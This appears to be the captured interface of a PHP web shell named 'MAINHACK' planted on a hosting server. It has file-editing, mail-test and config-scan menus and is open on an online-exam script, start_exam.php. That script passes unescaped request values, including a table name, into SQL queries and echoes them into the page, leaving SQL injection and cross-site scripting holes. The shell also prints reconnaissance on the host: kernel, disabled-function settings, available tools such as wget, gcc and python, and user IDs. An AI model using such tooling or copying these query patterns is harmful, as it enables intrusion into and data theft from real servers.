[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: start_exam.php
<?php include('header.php'); $paper=$_REQUEST['paper']; $exam_id=$_REQUEST['exid']; ?> <style> #demo { text-align: center; font-size: 20px; margin-top: 0px; color: #fffc26; font-weight: 600; } </style> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div id="col-md-12"> <h2 class="start_exam">NOTE : Please do not close the tab or refresh . Your exam will be over at that moment.</h2> <h2 class="start_exam">Exam Time is 30mins. Each question carry 1 marks.</h2> <h2 class="start_exam">Once a answer is given it cannot be edited.</h2> <h2 class="start_exam">This is a one time exam only.</h2> <p id="demo"></p> <?php $time1 = date("H:i"); $time = strtotime($time1); $startTime = date("M j, Y H:i",strtotime('+30 minutes',$time)); echo "<p id='take' style='display:none;'>$startTime</p>"; ?> <script> // Set the date we're counting down to var countDownDate = new Date("Jan 31, 2019 14:48:25").getTime(); // Update the count down every 1 second var x = setInterval(function() { // Get todays date and time var now = new Date().getTime(); // var dt = new Date(); // dt.setMinutes( dt.getMinutes() + 30 ); // var s=dt.getTime(); var ntime="<?php echo $startTime; ?>"; var s=new Date(ntime).getTime(); // document.getElementById("demo1").innerHTML =s; // Find the distance between now and the count down date var distance = s - now; // Time calculations for days, hours, minutes and seconds var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); // Output the result in an element with id="demo" //document.getElementById("demo").innerHTML = days + "d " + hours + "h "+ minutes + "m " + seconds + "s "; document.getElementById("demo").innerHTML="Time Left : "+minutes + "m " + seconds + "s "; // If the count down is over, write some text if (distance < 0) { clearInterval(x); document.getElementById("demo").innerHTML = "EXPIRED"; window.location.href='over_exam.php?exam_id=<?php echo $exam_id; ?>&paper=<?php echo $paper; ?>'; } }, 1000); </script> <?php $count=1; $query2=mysqli_query($con,"SELECT * FROM $paper"); while($query3=mysqli_fetch_array($query2)) { $option=explode('-',$query3['options']); $paper=$query3['paper_number']; $question_no=$query3['id']; $sq="select * from exam_score where (paper_no='".$paper."' and question_no='".$question_no."') and exam_id='".$exam_id."' "; $r=mysqli_query($con,$sq); $c=mysqli_num_rows($r); $row=mysqli_fetch_array($r); $ans=$row['given']; //echo $c; ?> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Question <?php echo $count; ?></h4> </div> <div class="form-body"> <form method="post" data-toggle="validator" enctype="multipart/form-data" > <div class="form-group"> <div class="col-md-12"> <label> <?php echo $query3['questions']; ?></label> </div> <?php if($c>0){ for($i=0;$i<=3;$i++){?> <div class="col-md-6" id="show"> <label>Options :</label> <input type="radio" name="a[]" value="<?php echo $option[$i]; ?>" id="op<?php echo $count.$i;?>" disabled > <?php echo $option[$i]; ?> </div> <?php } echo "Answer Given :".$ans; }else{ for($i=0;$i<=3;$i++){?><script> $(document).ready(function(){ $("#op<?php echo $count.$i; ?>").click(function(){ var op = $("#op<?php echo $count.$i; ?>").val(); var qid = $("#qid<?php echo $count; ?>").val(); var ans = $("#ans<?php echo $count; ?>").val(); var paper = $("#paper<?php echo $count; ?>").val(); var ex_id = $("#ex_id").val(); var a; // alert(ex_id); $.ajax({ type: "POST", url: "answer.php", data: "op="+op+"&qid="+qid+"&ans="+ans+"&paper="+paper+"&ex_id="+ex_id, cache: false, success: function(result){ a=result; // alert(result); location.reload(); //$('#show2').html(html).show(); if(a!=0){ // //document.getElementById("show2").innerHTML ='<font color="red">Paper No already exists. Please try another number</font>'; }else{ document.getElementById("show2").innerHTML ='<font color="green">Answer is set</font>'; } } }); }); }); </script> <div class="col-md-6" id=""> <label>Options :</label> <input type="radio" name="a[]" value="<?php echo $option[$i]; ?>" id="op<?php echo $count.$i;?>"> <?php echo $option[$i]; ?> </div> <?php } }?> <input type="hidden" id="ex_id" value="<?php echo $exam_id; ?>" > <input type="hidden" id="qid<?php echo $count;?>" value="<?php echo $query3['id']; ?>" > <input type="hidden" id="ans<?php echo $count;?>" value="<?php echo $query3['answer']; ?>" > <input type="hidden" id="paper<?php echo $count;?>" value="<?php echo $query3['paper_number']; ?>" > <div id="show2"></div> <div class="clearfix"></div> </div> </div> </div> <?php $count++; // echo $uid; }?> <input type="submit" class="btn btn-info" id="" name="sub" value="End Exam"> </form> <?php if(isset($_POST['sub'])){ //include('ids.php'); $sq="select sum(marks) as m from exam_score where paper_no='".$paper."' and exam_id='".$exam_id."'"; $r=mysqli_query($con,$sq) or die(mysqli_error($con)); $row=mysqli_fetch_array($r); $marks=$row['m']; $sq1="update exam set marks='".$marks."',status='done' where exam_id='".$exam_id."'"; $r1=mysqli_query($con,$sq1); if($r1){ echo "<script>alert('Your Exam is done.Thank you!!.You will be loged out. Please Login to see the score.');window.location.href='logout.php'</script>"; } } ?> </div> </div> </div> </div> </div> </div> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619